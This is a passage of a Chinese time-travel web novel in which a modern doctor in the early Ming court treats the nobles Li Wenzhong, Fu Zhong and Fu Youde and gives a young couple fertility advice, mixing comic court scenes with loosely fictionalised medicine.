“听见没?你歪打正着立功了。”朱元璋哼了一声,“滚去太医院领二十板子,这事就算揭过。”
傅忠如蒙大赦,磕头如捣蒜:“谢陛下开恩!”
李景隆赶紧搀起他爹:“爹,您感觉如何?”
李文忠虚弱地摆摆手:“就是腿软……”
马淳正在写药方,闻言抬头:“腿软是好事。您之前膝盖酸痛,是因为湿气淤积。现在湿随泻去,三日后保准健步如飞。”
朱元璋突然凑近:“马小子,你刚才说的那个什么酸碱,再给咱讲讲。”
马淳蘸着茶水在案几上画圈:“人体就像这茶盏,水满则溢。曹国公之前就是水太满,现在倒掉些,反倒平稳了。”
朱标恍然大悟:“所以傅世子这假酒,竟成了药引子?”
“正是。”马淳收起银针,“世间万物相生相克,医道讲究顺势而为。若强行止泻,反倒堵了排毒通路。”
李文忠突然挣扎着坐起来:“马大夫,那我这老寒腿……”
“一并好了。”马淳笑道,“您这腿疾本是湿邪入骨。如今湿去热退,往后阴雨天不会再疼。”
朱元璋摸着下巴:“有点意思。标儿,记下来,往后将领们水土不服,就照这法子治。”
朱标刚要答应,李文忠突然脸色一变:“等等!我又要……”
马淳眼疾手快递上铜盆:“无妨,这是最后一遍了。”
殿内顿时弥漫着古怪气味。
朱元璋嫌弃地扇着袖子:“蒋瓛!开窗!散味儿!”
待李文忠吐完,果然精神一振:“怪了,这回舒坦多了。”
马淳递上米汤:“慢慢喝,别急。”
朱元璋看着李文忠恢复血色的脸,突然问:“马小子,你之前说保儿脾胃虚弱,是打仗时落下的病根?”
“正是。”马淳点头,“行军时饮食不规律,又常饮生水。日积月累,铁打的身子也扛不住。”
朱元璋若有所思:“傅友德前阵子也说胃疼……”
“武将通病。”马淳从药箱取出个青瓷瓶,“这是健脾丸,陛下可赐予诸位将军。”
朱元璋接过瓷瓶掂了掂:“你小子倒是会做人情。”
马淳笑而不语。
这时傅忠一瘸一拐地回来了,哭丧着脸:“陛下,打完了……”
朱元璋瞥他一眼:“滚去给你李叔磕个头。”
傅忠老老实实跪在榻前:“李叔,侄儿知错了。”
李文忠这会儿气也消了,叹道:“罢了,说起来我还得谢你。”
傅忠一脸懵。
马淳把写好的医嘱交给朱标:“三日后再诊一次即可。”
朱元璋突然道:“马小子,你那个路引章程,户部已经拟好了。”
马淳拱手:“陛下圣明。”
“少拍马屁。”朱元璋摆摆手,“下个月你随标儿去趟凤阳,看看那边防疫做得如何。”
马淳刚要应下,李文忠突然插话:“舅舅,让外甥也去吧?正好活动活动筋骨。”
朱元璋瞪他:“拉肚子还没拉够?”
众人都笑起来。
离开皇宫时,夕阳正好。
徐妙云在医馆门口张望,见马淳回来,连忙迎上。
“如何?”
马淳把药箱递给她:“曹国公因祸得福,傅忠挨了板子,陛下赏了瓶健脾丸。”
徐妙云抿嘴一笑:“就这些?”
“还有。”马淳凑近她耳边,“下月我要陪太子去凤阳。”
徐妙云眼睛一亮:“能带我么?”
“自然。”马淳揽住她的肩,“陛下还夸我医术高明呢。”
徐妙云戳他额头:“少得意。灶上煨着山药粥,趁热吃。”
她忽然想起什么:“对了,傅忠那病……治好了?”
“算是。”马淳舀了勺粥,“不过他要是知道解酒丹里掺了巴豆,估计还得来找我拼命。”
徐妙云噗嗤一笑:“你呀……”
……
翌日早上,二人洗漱完毕,用过早饭,徐妙云又想起了昨天的事。
她转头看向正在整理药箱的马淳,眼中带着几分好奇。
“夫君,傅世子的病真的治好了?”她轻声问道。
马淳闻言,突然哈哈大笑起来,手里的药杵差点掉在地上。“他那哪是什么病,纯粹是心病!”
徐妙云眨了眨眼,有些不解:“可你又是给他扎针,又是吃壮阳药,还煞有介事地诊脉开方子,难道都是装的?”
马淳放下药杵,擦了擦手,走到她身边坐下。“那些都是幌子。傅忠的问题出在心理上,十六岁那年在青楼被吓到后,他就一直对自己没信心。我若直接告诉他没事,他反而更不信。”
徐妙云若有所思地点点头:“所以你用那些药和针,是为了让他相信自己在治疗?”
“没错。”马淳端起茶碗喝了一口,“人就是这样,越是不自信,越需要外界的肯定。我给他扎针,开药,甚至故意让李景隆撞见,都是为了让他觉得‘马大夫在认真治我的病’。有了这个心理暗示,他才会慢慢放下心结。”
徐妙云抿嘴一笑:“你可真会骗人。”
马淳摇摇头:“这不是骗,是心理疗法。傅忠的身体根本没毛病,但他自己觉得不行,久而久之,就真的‘不行’了。我现在用这些方法刺激他的心理,让他逐渐恢复自信,时间一长,自然就好了。”
徐妙云托着下巴,眼中闪着光:“听起来倒是很有道理。不过,万一他以后发现你在忽悠他,岂不是要找你算账?”
马淳耸耸肩:“等他真好了,感谢我还来不及,哪会找我麻烦?再说了,我这法子可是符合医理的,只不过用的不是药,而是心理。”
正说着,院门外传来一阵脚步声。
两人抬头一看,竟是傅忠和李景隆一前一后走了进来。
傅忠的脸色比昨日好了许多,走路也不再畏畏缩缩,倒是李景隆一脸促狭的笑容……
第79章 咱发现你不仅能治病,还能治国!
“马大夫!”傅忠一进门就拱手行礼,声音洪亮,“昨日多谢你的药,我感觉好多了!”
马淳和徐妙云对视一眼,眼中闪过一丝笑意。“世子客气了,举手之劳。”
傅忠搓了搓手,有些不好意思地说道:“那个……马大夫,我还有个不情之请。”
“但说无妨。”
“我爹听说你医术高明,想请你去府上给他看看。他这些年征战沙场,落下一身毛病,尤其是胃疼的毛病,一直没好利索。”傅忠说着,眼中带着几分期待。
马淳点点头:“颖国公为国征战,理当效力。不过今日有些不方便,明日一早我再去府上拜访。”
傅忠大喜,连连道谢。
李景隆在一旁插嘴道:“马大夫,你可别被他爹吓到,傅叔虽然脾气爆,但对大夫还是很客气的。”
傅忠瞪了他一眼:“你少说两句!”
马淳笑了笑,起身从药柜里取出一个小瓷瓶,递给傅忠:“这是健脾丸,世子先带回去给国公服用,明日我再详细诊治。”
傅忠接过瓷瓶,郑重地收进怀里。“多谢马大夫!”
待两人离开后,徐妙云轻声道:“看来你的法子真有效,傅世子现在精神多了。”
马淳望着院门的方向,淡淡道:“心理问题就是这样,一旦有了信心,症状自然减轻。不过这只是开始,后续还得慢慢调理。”
徐妙云点点头,忽然想起什么:“对了,你明日去颖国公府,要不要我陪你一起?”
马淳摇头:“不必,国公府规矩多,你去了反而拘束。况且医馆也不能没人照看。”
徐妙云“嗯”了一声,没再多说。
……
翌日清晨,马淳早早起身,收拾好药箱,准备前往颖国公府。
徐妙云替他整理好衣袍,叮嘱道:“路上小心,早去早回。”
马淳笑着捏了捏她的手:“放心,我晌午前就回来。”
出了医馆,马淳骑上早已备好的马,朝着金陵城方向而去。
清晨的官道上行人稀少,微风拂面,带着几分凉意。
马淳一边赶路,一边思索着傅友德的病情。
作为开国功臣,傅友德常年征战,胃病恐怕早已积重难返,治疗起来并不容易。
行至半路,忽见前方一队锦衣卫疾驰而来,为首的正是蒋瓛。
蒋瓛见到马淳,勒马停下,拱手道:“马大夫,这是要去哪儿?”
马淳还礼:“奉颖国公之命,去府上诊治。”
蒋瓛点点头:“巧了,陛下刚下旨,命我请马大夫入宫一趟。”
马淳一愣:“陛下召见?可有说是何事?”
蒋瓛压低声音:“曹国公昨日服了你的药,今早精神大好,陛下龙颜大悦,想请你再去看看。”
马淳沉吟片刻:“既如此,我先去宫中复命,再去颖国公府。”
两人并辔而行,很快抵达皇宫。
华盖殿内,朱元璋正与李文忠说话,见马淳进来,招手道:“马小子,过来看看保儿,这小子今早能吃饭了!”
马淳上前行礼,随后为李文忠诊脉。
片刻后,他点头道:“曹国公脉象平稳,胃气已复,再调理几日便可痊愈。”
朱元璋满意地捋了捋胡子:“你小子医术确实不错。保儿这病太医院看了半年都没起色,你一副药就见效。”
马淳谦逊道:“陛下过奖,曹国公本就底子好,只是之前用药不当,才拖延至今。”
朱元璋哼了一声:“太医院那帮废物,整天就知道开补药,越补越糟!”
李文忠笑道:“舅舅,马大夫的药确实神奇,我今早还吃了两碗粥,一点不反胃。”
朱元璋挥挥手:“行了,既然好了就别赖在这儿,该干嘛干嘛去。”
李文忠起身告退,临走时冲马淳使了个眼色,低声道:“多谢。”
待李文忠离开,朱元璋忽然问道:“马小子,你昨日给傅忠那小子治病,用的什么法子?”
马淳心中一凛,面上不动声色:“回陛下,世子是心气郁结,臣用针灸疏通经络,再辅以汤药调理。”
朱元璋眯起眼睛:“就这么简单?”
马淳坦然道:“医道讲究对症下药,世子病因特殊,故治法也需因人而异。”
朱元璋哈哈大笑:“好一个因人而异!傅友德今早还跟咱夸你,说他儿子精神多了。”
马淳松了口气,拱手道:“能为陛下分忧,是臣的荣幸。”
朱元璋摆摆手:“少来这套。对了,你那个路引章程,户部已经拟好了,下个月就试行。”
马淳正色道:“陛下圣明,此策若行,百姓必感念天恩。”
朱元璋哼了一声:“少拍马屁。咱问你,若有人借机作乱,该如何防范?”
马淳思索片刻,答道:“可设临时路引专用印信,由地方官和医官共同签发,并限定时效和范围。若有作乱者,按律严惩不贷。”
朱元璋点点头:“这还像句人话。”
他站起身,背着手踱了两步,“马小子,咱发现你不仅医术高明,脑子也挺活泛。”
马淳低头:“臣不敢当。”
朱元璋挥挥手:“行了,去吧。傅友德还等着你呢。”
马淳躬身告退,退出华盖殿。
出了皇宫,马淳直奔颖国公府。
府邸坐落在城东,朱漆大门前立着两尊石狮,气势恢宏。
门房见是马淳,连忙引他入内。
穿过几重院落,马淳被带到一间宽敞的厅堂。
傅友德正坐在主位上喝茶,见马淳进来,起身相迎:“马大夫,久仰了!”
马淳行礼:“国公客气。”
傅友德身材魁梧,虽已年过五旬,但精神矍铄,只是脸色略显苍白,显然胃病未愈。
他请马淳入座,笑道:“犬子多亏马大夫诊治,如今精神大好,老夫感激不尽。”
马淳谦逊道:“世子本就无大碍,只是心结未解,如今想通了,自然好转。”
傅友德叹了口气:“这孩子从小胆怯,老夫常年在外,疏于管教,才让他变成这样。”
马淳安慰道:“国公为国征战,世子理解您的苦心。”
傅友德摆摆手:“不说他了。马大夫,老夫这胃病折磨多年,太医院的药吃了不少,总不见效,今日特请你来看看。”
马淳点头,为傅友德诊脉。
这么一看,马淳的脸色立刻变了……
第80章 傅友德可能是胃癌!
马淳三指搭在傅友德腕上,指腹下的脉象沉涩如刀刮竹,胃经所在的位置更是隐隐有滞涩之感。
他眉头微蹙,抬眼看向傅友德:“国公近日用饭时,可觉得吞咽有阻碍?”
傅友德还未开口,站在一旁的傅忠先急了:“爹,您不是说只是偶尔胃疼吗?”
傅友德瞪了儿子一眼,转头对马淳道:“确实有些噎着的感觉,不过老夫以为是年纪大了,咽喉不利索。”
马淳收回手,神色凝重:“恐怕不是咽喉的问题。国公可否让在下再仔细检查一番?”
傅让从旁边凑过来,满脸担忧:“马大夫,我爹的病……”
马淳抬手止住他的话收回手,“国公爷您这个情况稍微有点复杂,今天我没带好器具,再加上这个检查可能需要您禁食三到四个时辰,就是说滴水不能进那种,要不明天在下再来如何?”
这个情况一出,傅友德和两个儿子的表情就肉眼可见的凝重起来。
传统的治病情况他们也都听说过,切个脉,问问情况,大致也就知道怎么回事。
怎么到了马神医这里还要搞那么复杂的一套。
马淳见他们父子三人的表情笑道:“是这样,我得用一根很细的东西插进您的胃里面去,然后看看胃里面到底是什么情况。如果您吃喝了东西,有异物进了喉管,您得反胃呕吐,我也看不到东西,这么说您明白吗?”
父子三人光听马淳这样说,都感觉反酸水。
平时自己要是抠喉管都容易吐,更别说插一根管子到胃里。
傅忠顿时心疼起父亲来:“爹,看起来您的情况不妙啊。”
傅友德本来就紧张听儿子这样一说,顿时恼了:“你给我滚!”
看到这三个活宝父子,马淳笑道:“当然国公爷还有两位公子也不用担心,就我刚才诊脉的情况来看,问题不大,但我得先确定了病灶才能对症下药。”
噢……
父子三人松了口气。
“那行,马大夫您怎么说我们就怎么做。”傅友德笑道。
“那在下就先告辞了,记住三到四个时辰之内,千万不能进食,连水都不能喝。”马淳千叮咛万嘱咐。
在现代的时候,小视频天天看到那种,明明医生叮嘱了不能进食,可有些老头老太就是不听,总觉得自己比医生还专业。
医生说不可以进食,偏偏要偷偷摸摸给病人喂点东西吃。
然后要么胃出血,要么药效大减。
到时候还嘴硬:我一个老婆子也不知道,我就是看他饿得难受就喂了口稀饭。一口稀饭能怎么样,你们就是医术不精故意把责任推到我们老年人身上。
这种事马淳在当医生的时候,就遇到过不止三回。
面对这种情况,医生都会尽量要求这类病患的陪床家属换成年轻人来。
年轻人不懂医学,但刷视频多多少少也看到过一些。
马淳千叮咛万嘱咐,父子三人还是比较尊重的。
毕竟父子三人都听说过马淳行医治病不同常理,但却行之有用。
第二天一早,马淳就带着用五百积分兑换的小型便携式内窥镜上门来。
反复询问傅友德没有进食后,马淳才开始下一步动作。
他先从药箱中取出一个青瓷小瓶,倒出两粒白色药丸递给傅友德。
“国公先服下这个,能减轻待会儿的不适。”
傅友德接过药丸,干咽下去。
药效很快发作,他眼皮渐渐发沉,靠在椅背上嘟囔:“这药劲儿倒挺大……”
马淳示意傅忠兄弟扶父亲躺平,自己则取出内窥镜组装。
那是个银白色的金属管,末端镜片折射出奇异的光晕。
傅让忍不住伸手想摸,被马淳用眼神制止。
“此物需严格消毒,请世子退后三步。”
待傅友德呼吸平稳,马淳戴上自制手套,将润滑过的内窥镜缓缓探入他口中。
管子经过喉头时,昏睡中的傅友德仍本能地收缩肌肉,马淳立刻停住动作,等痉挛过去才继续推进。
傅忠攥着拳头站在一旁,额头渗出细汗:“这么长的管子真能进到胃里?”
“食道本就是条软管。”马淳盯着内窥镜上的刻度,“正常成年男子食道约二十五厘米,国公身材魁梧,估计要再长些。”
铜镜反射的光斑在墙上晃动,内窥镜终于抵达胃部。马淳调整焦距,胃壁的褶皱在镜中清晰呈现。靠近贲门处有片异常泛白的区域,表面凹凸不平,像被揉皱的宣纸。
“果然。”马淳轻声自语。
傅让凑过来:“马大夫,这白斑是……”
“胃黏膜上皮化生。”马淳指着镜中影像,“简单说就是本该长在肠道的细胞长到了胃里。若放任不管,五到十年内可能恶变。”
傅忠手里的汗巾掉在地上:“恶变?难道是……”
“现在还是良性病变。”马淳收回内窥镜,“我先取些组织化验。”他从药箱取出细如发丝的活检钳,顺着管道送入胃内。钳子夹取病变组织的瞬间,昏睡中的傅友德闷哼一声,眉头紧锁。
“爹!”傅让扑到榻前。
“无碍,只是轻微刺激。”马淳迅速完成取样,将组织放入准备好的瓷碟,“创口极小,不会出血。”
待他收拾完器械,傅友德也悠悠转醒,捂着喉咙咳嗽:“马大夫,你这管子比枪矛还磨人。”
马淳递上温水:“国公感觉如何?”
“嗓子火辣辣的。”傅友德咂咂嘴,“查出什么了?”
马淳把瓷碟推到他面前:“您胃里长了不该有的东西。这些白斑现在虽不致命,但久拖必成大患。”
傅友德盯着碟中那点血肉,忽然笑起来:“当年随陛下渡江时,老夫三日啃过树皮,胃里早该烂透了,能撑到现在已是造化。”
“爹!”傅忠急得眼眶发红,“马大夫说能治的!”
马淳点头:“确实可治。先用药物消除炎症,再以针灸调理气血。最重要的是戒酒、忌辛辣,每日饮食需定时定量。”
傅友德皱眉:“不让喝酒?”
“一滴都不能沾。”马淳斩钉截铁,“您这病就是烈酒刺激出来的。若继续豪饮,三年内必成胃癌。”
第81章乳岩就是乳腺癌!古人对癌早有认知
屋里霎时寂静。
傅让倒吸凉气:“癌?可是《卫济宝书》里说的岩症?”
“类似。”马淳暗自庆幸这个时代已有癌症概念,“此病初期如岩石潜藏体内,后期则坚硬如岩,溃烂流脓。”
其实“癌”这个字,早在宋代就有了。
南宋年间东轩居士所著《卫济宝书》一书中,首先应用了“癌”字来作为疾病的病名。
而“瘤”字出现得更早,在殷商时期的甲骨文中就有提及。
古人在起病名的时候,常常会以症状或者形象来命名。
例如噎膈,大致相当于现代的食管癌、贲门癌这一类疾病,就是以症状来命名的。
噎是指吞咽时哽噎不顺,膈是指饮食格拒不入,或食入即吐;
乳岩相当于现代的乳腺癌,岩就是一种形容,是对疾病形象的类比。
在《诸病源候论》中就记载说“乳中结聚成核,微强不甚大,硬若石状”,就是说乳岩这种疾病,形似岩石,所以才叫乳岩。
金元四大家之一的朱丹溪,在《格致余论》中讲到过一个故事。
说是有一个女子,出嫁以后,跟家里的女眷关系不太好,于是每天心情都很抑郁。
婚后十年,乳房长了一个肿块,再后来,乳房的肿块逐渐加硬,最后发展成为了“奶岩”。
奶岩就是乳岩,也就是如今的乳腺癌。
傅友德摸着肚子沉默良久,突然拍案:“好!老夫戒酒!”
马淳从药箱取出三个药瓶:“白色药丸饭前服,消炎止痛;褐色药汤早晚各一剂,修复胃膜;这小瓶药粉发作时含服,能抑酸护胃。”
又抽出银针,“现在开始第一次针灸。”
针尖刺入足三里穴时,傅友德浑身一颤:“这酸胀感竟窜到膝盖了!”
“足三里是胃经要穴。”马淳缓缓捻针,“您胃气瘀滞太久,经络也不通畅。”
待起针时,傅友德已能感到胃部暖流涌动,不禁赞叹:“马大夫这手艺,比太医院那些强多了。”
马淳正在写医嘱,闻言笔锋一顿:“太医院开的方子,国公可还记得?”
“多是温补之药。”傅友德回忆道,“人参、白术、茯苓之类。”
“问题就在于此。”马淳搁下毛笔,“您这病属热毒淤积,再服温补如同火上浇油。太医院拘泥于‘脾胃虚寒’的旧论,反而耽误病情。”
傅忠若有所思:“所以马大夫用黄连、黄芩这些苦寒药?”
“不错。”马淳把医嘱递给他,“药方需随症而变,哪有一成不变的道理。不过您的病理我还得继续分析,现在开的这些药,主要是巩固之用。”
傅友德忽然正色:“马大夫可有兴趣来五军都督府当军医?老夫保你个六品职衔。”
傅忠嘀咕一声:“爹,您老糊涂啊,人马大夫现在是从五品的太医院副院判!”
傅友德闹了个大红脸,“啊对对对,老夫竟忘了这茬!”
马淳看着他们父子的对话,觉得甚是轻松,倒真是没想到,开国勋贵们在史书上写的个个严肃,现实生活中却和普通人没啥两样。
马淳将取出的胃部组织小心放入瓷碟,盖上特制的琉璃盖片。
傅友德父子三人围在一旁,神色紧张。
“国公稍安勿躁,待我回医馆仔细查验,明日再来详说病情。”马淳收好器械,拱手告辞。
傅友德虽心中忐忑,但面上仍镇定:“有劳马大夫。”
离开国公府,马淳策马疾驰回医馆。
徐妙云正在看医书,见他匆匆进门,放下手中书迎上来。
“如何?”
“情况不妙。”马淳取出瓷碟,径直走向内室,“傅国公胃部有异常病变,我得尽快确认。”
徐妙云跟进去,见他从药柜底层搬出一个乌木匣子,掀开绒布,露出一台精巧的铜制器械。
镜筒锃亮,底座刻着细密纹路,两侧还有调节旋钮。
“这是何物?”
“显微镜。”马淳取出一块琉璃片,用细针蘸取少许组织液滴上,再覆上另一片极薄的透明琉璃,“用它能看到肉眼看不见的东西。”
他调整镜筒高度,打开白炽灯,光线透过镜片折射,在琉璃片上投下一圈明亮光斑。
徐妙云凑近,只见马淳手指轻旋旋钮,镜筒缓缓下降,几乎贴上样本。
“你来试试。”马淳让开位置。
徐妙云学着他的样子俯身,右眼对准目镜。
起初只见一片模糊光影,但随着马淳帮她微调焦距,视野骤然清晰。
无数细小的颗粒在液体中沉浮,有些如蝌蚪般游动,有些则聚集成团,表面布满不规则凸起。
“这些……是活的?”她猛地直起身,瞳孔微缩。
“有些是细菌,有些则是病变细胞。”马淳指着其中一团边缘参差的暗色结构,“傅国公胃里的病灶就是这类细胞异常增生所致。若放任不管,迟早会变成‘岩症’。”
徐妙云深吸一口气:“所以古人说的‘乳岩’‘噎膈’,实则是这些微小之物作祟?”
“不错。”马淳点头,“许多病症并非风寒湿邪直接导致,而是这些看不见的东西侵入人体,破坏正常机能。”
他换了一块样本,镜下显现出更多细节:细胞排列紊乱,部分核仁肿大,边缘呈锯齿状,“你看这些细胞形态,已出现早期恶变特征。所幸发现及时,还能用药石控制。”
徐妙云凝视良久,“此物若能推广,天下医者岂非如虎添翼?”
马淳苦笑:“制作镜片的琉璃工艺极难,这台还是托泉州海商从泰西带回的。”他顿了顿,“眼下先解决傅国公的病。”
他取出一册空白手札,将观察到的细胞形态逐一绘制,并标注特征。
徐妙云在一旁研磨药粉,按他的要求调配试剂。
“黄连苦寒,可清热解毒,但单用恐伤脾胃。”马淳边写边说,“需佐以白术健脾,再加白花蛇舌草抑制细胞异变。”
徐妙云忽然想起什么:“傅国公嗜酒如命,若戒不掉……”
“那就前功尽弃。”马淳笔尖一顿,“酒精会加速病变,必须断根。”
夜深时分,药方终于拟定。
马淳吹干墨迹,揉了揉酸胀的脖颈。
徐妙云端来一碗热腾腾的姜粥。
“明日你去国公府,我继续观察样本。”她舀起一勺吹了吹,“若这些‘小东西’对药物有反应,或能调整方剂。”
马淳接过粥碗,见她眼底的跃跃欲试,不由莞尔:“娘子倒是学得快。”
“总不能白看你治病。”她抿嘴一笑,“对了,这台‘显微镜’可能看疟疾病人的血?”
马淳挑眉:“你想验证‘瘴气致疟’的说法?”
“嗯。若血中真有异物,或许能解释为何同样的药方,有人见效有人无效。”
他放下碗,郑重道:“明日我教你更精细的操作。不过切记,样本必须严格消毒,否则反害己身。”
徐妙云郑重点头。
……
第82章 性教育科普!
翌日清晨,马淳带着连夜准备的药方和显微镜样本来到颖国公府。
傅友德正在院子里练拳,见他来了,收势站定。
“马大夫,这么早?”傅友德擦了擦额头的汗。
马淳拱手道:“国公的病耽误不得。”
进了内室,傅忠和傅让已经候在那里。
马淳取出显微镜样本,指着上面的异常细胞解释道:“这些白斑虽然还没到癌变程度,但若继续饮酒刺激,三年内必成胃癌。”
傅友德盯着那些奇怪的图案,眉头紧锁:“马大夫,老夫戎马半生,生死早已看淡。若是不能痛快喝酒,活着还有什么意思?”
马淳不急不缓地收起样本:“国公若是这般想,那连抱孙子也不在意了?”
傅友德猛地抬头:“什么意思?”
“我能治好世子的病。”马淳目光扫过傅家父子三人,“就看国公愿不愿意配合治疗。”
傅忠手里的茶盏“啪”地掉在地上:“我的病?”
傅友德皱眉:“他生不出儿子,跟老夫配不配合有什么关系?”
马淳正色道:“世子正在治疗期间。若国公因酒伤身早逝,世子继承爵位后必然应酬不断,病情加重,更难生育。到时候颖国公一脉绝后,爵位传给二公子,岂不让人笑话?”
傅友德脸色变了变,拳头不自觉地握紧。
傅让小声嘀咕:“大哥生不出孩子,怎么还扯上爵位了……”
马淳继续道:“世子的问题在于心理,只要调养得当,半年内必见成效。但若国公不配合治疗,世子压力倍增,前功尽弃不说,颖国公府的门风也要受损。”
傅友德突然拍案而起:“放屁!老夫活得好好的,怎么就早逝了?”
马淳不慌不忙:“国公昨夜又偷偷喝酒了吧?胃痛是不是比前日更甚?”
傅友德气势一滞,下意识捂住上腹。
傅忠急忙扶住父亲:“爹,您又喝酒了?”
马淳取出银针:“治病先治心。国公若是真心为家族考虑,就该遵医嘱戒酒调养。世子见您如此,自然也会积极配合治疗。”
傅友德沉默良久,终于长叹一声:“罢了,为了这孽障能生个儿子,老夫戒酒就是。”
傅忠涨红了脸:“爹,我……”
“闭嘴!”傅友德瞪了他一眼,“从今日起,老夫每日饮食按马大夫说的来。你也给老子争口气,早点生个孙子出来!”
马淳嘴角微扬,开始为傅友德施针。
银针入穴,傅友德眉头舒展:“这针法倒是舒服。”
“此针可缓解胃痛,但治标不治本。”马淳捻动针尾,“真正的良药是国公的决心。”
傅让凑过来:“马大夫,我大哥的病真能治好?”
“十成把握。”马淳收起针具,“不过需要世子每日来医馆接受治疗。”
傅忠犹豫道:“还要扎针吗?”
“不必。”马淳笑道,“主要是心理疏导,配合些汤药即可。”
傅友德忽然压低声音:“马大夫,你老实告诉老夫,忠儿那方面……到底行不行?”
马淳看了眼满脸通红的傅忠,正色道:“世子身体无恙,只是心结未解。十六岁那年在青楼受惊后,一直缺乏自信。这种心病,需要慢慢调理。”
傅友德恍然大悟,转头对傅忠骂道:“原来是你小子自己吓自己!害得老夫以为咱们傅家要绝后!”
傅忠恨不得找个地缝钻进去。
马淳取出两副药方:“红色标记的是国公的,每日三服。蓝色的是世子的,早晚各一剂。”又对傅忠道,“明日辰时,记得来医馆。”
傅友德让下人准备了一份厚礼,马淳也不好意思不收。
【叮!恭喜宿主缓解颖国公傅友德胃病,奖励积分500!】
离开国公府时,徐妙云正在门外等候。
见马淳出来,她迎上前:“如何?”
“搞定。”马淳笑道,“傅国公为了抱孙子,答应戒酒了。”
徐妙云抿嘴一笑:“还是你有办法。”
夫妻二人今天是商量好去逛庙会,故而在国公府汇合。
傍晚,回到医馆,马淳将傅友德的病情详细记录在案。
徐妙云在一旁研磨药材,忽然问道:“世子真的半年就能痊愈?”
马淳放下毛笔:“其实三个月足矣。说半年是为了让傅国公坚持治疗。”
“你呀……”徐妙云摇头轻笑,“连开国功臣都敢算计。”
马淳伸了个懒腰:“治病救人,有时候得用点非常手段。”
……
翌日清晨,医馆的门刚开,傅忠就带着妻子胡氏匆匆赶来。
胡氏低着头,脸颊微红,有些局促。
傅忠倒是兴致勃勃,一进门就嚷嚷:“马兄,我把内子带来了!”
马淳正在整理药柜,闻声回头,见胡氏羞怯的模样,微微一笑:“夫人请坐。”
胡氏福了一礼,声音细如蚊蚋:“叨扰马大夫了。”
徐妙云端来两盏茶,轻轻放在桌上:“夫人不必拘束,医者面前无男女之别。”
胡氏接过茶盏,指尖都有些发颤。
马淳在对面坐下,取出几幅绘有人体经络的绢图铺开:“今日二位既然来了,我也受国公爷所托,要完成贵府传承接代的大事,所以还希望你们多多配合。来,我先给你们搞点性教育科普和讲解生育之事。”
别看古代贵公子生活糜烂,但他们未必懂真正的性。
傅忠凑近图纸,眼睛发亮:“这画得可真细致!”
“世子请看。”马淳指向图中几处穴位,“肾经、肝经与生育息息相关。世子之前气血瘀滞,经过这段时间调理,脉象已平稳许多。”
胡氏偷偷瞥了眼图纸,立刻羞得别过脸去。
马淳轻咳一声:“夫人,此事关乎子嗣,还请您静心听我说完。”
胡氏深吸一口气,强自镇定地点点头。
“生育并非单纯交合即可。”马淳取出一枚银针,在图纸上虚点几处,“需天时、地利、人和三者兼备。所谓天时,即女子信期前后;地利,指寝居环境宜温暖避风;人和,则是夫妻身心俱畅。”
傅忠挠头:“这么讲究?”
马淳正色道:“正是。譬如种地,若不择良时、不选沃土、不善耕耘,如何能有收获?”
胡氏忽然小声问:“马大夫,妾身每月信期总腹痛难忍,可会影响……”
“夫人此问切中要害。”马淳赞许地点头,“女子痛经多因宫寒,我开个温经汤,服三个月便可缓解。”
徐妙云适时递上纸笔,马淳边写边道:“此外,同房前后有些讲究。”
他顿了顿,看向胡氏,“若夫人不介意,我需说得直白些。”
胡氏耳根通红,却坚定地颔首。
“行房前可用艾草煮水沐浴,活络经脉;事后以软枕垫腰半刻钟,利精血归宫。”马淳笔走龙蛇,“最重要是情志舒畅,切忌勉强。必要时可……增添些闺房情趣。”
胡氏手中的帕子“啪”地掉在地上。
傅忠却兴奋地拍案:“这个好!马兄快细说!”
……
第83章同房……是否需择特定姿势?
马淳瞪他一眼:“这是严谨的医理,世子莫要想歪。譬如琴瑟和鸣,需调弦正音,方能奏出佳曲。”
傅忠讪讪地缩回身子:“我就是问问具体法子……”
“各人喜好不同,岂有定规?”马淳收起图纸,“总之记住八字真言:情投意合,水到渠成。”
胡氏忽然抬头,眼中闪着泪光:“马大夫,若…若还是不成呢?”
医馆内霎时安静。
马淳温和道:“夫人放心,我已检查过世子身体,并无大碍。您二位按我说的调养,半年内必有好消息。”
傅忠握住妻子的手:“听见没?马大夫说能成!”
徐妙云端来两碗药茶:“这是安神汤,二位先用些。”
胡氏小口啜饮,神色渐渐放松。
她犹豫片刻,轻声道:“马大夫,妾身还有一事相询……同房……是否需择特定姿势?”
傅忠一口茶喷出来:“夫人你……”
马淳却笑了:“夫人问得好。确实有些体位更利受孕,我画给您看。”
他取纸勾勒几笔,“女子垫高腰臀最佳,但切记不可刻意,反失其乐。”
胡氏认真记下,忽然发现图纸角落画着个小人,正以古怪姿势倒立,不禁“噗嗤”笑出声。
傅忠凑过来一看,顿时跳脚:“马兄!这画的什么玩意儿!”
马淳淡定地收起图纸:“哦,那是给特殊病例准备的,二位用不上。”
徐妙云悄悄拧了他一把。
胡氏掩口轻笑,眉间郁结终于舒展:“多谢马大夫指点。”
马淳从药柜取出一包药材:“这是助孕方,每旬服一剂。另有一瓶香膏,睡前按摩足底涌泉穴,有助安眠。”
傅忠接过香膏闻了闻:“还挺香。”
“外用的,别吃。”马淳提醒道。
别人他不会提醒,但以傅忠的粗线条,说不定他真能啃了。
“三个月后我再看诊调整方子。”
接着傅忠这大嗓门又说了起来,嗓音大到震得药柜上的瓷瓶微微发颤:“马兄,我今天带内子来其实还有些问题想问问。”
马淳擦了擦手:“但说无妨。”
胡氏绞着帕子往傅忠身后躲,耳尖红得能滴出血来。
“就是……”傅忠挠了挠络腮胡,压低声音,“内子一紧张就容易放屁,咣咣响,尤其是同房的时候。那家伙,跟打雷似的,让人一点兴致都没了。”
胡氏“啊”地惊叫一声,指甲狠狠掐进傅忠腰间软肉,傅忠疼得原地蹦起来。
“马兄是自己人!”傅忠揉着腰直抽冷气,“徐小姐更是和我们一起长大。人家都是大夫,你还害什么臊?”
马淳轻咳一声,压下差点笑出的声音。
他在现代医院轮值时,消化科门诊没少接诊这类患者。
他取出一方素白绢帕铺在案几上:“夫人请坐,容我诊脉。”
胡氏咬着唇不肯伸手。
徐妙云轻轻握住她发抖的手腕:“姐姐别怕,夫君治过更奇怪的病症呢。上月谢侯府三小姐的鹦鹉总学她打嗝,不也治好了?”
这话让胡氏稍稍放松。
她终于将手腕搁在绢帕上。
马淳三指搭上寸关尺,指腹下的脉象弦滑如滚珠。
他忽然想起实习时带教老师说过的话——肠道菌群失衡就像朝堂上有奸臣作乱。
“夫人平日可常食乳酪?”马淳收回手。
胡氏愣了愣:“妾身……确实每日要饮两盏羊乳。”
“问题就在这儿。”马淳从药柜取出一把晒干的陈皮,“羊乳虽补,但久饮伤脾。夫人脾胃虚弱,运化不及,乳浊下注肠道就成了浊气。”
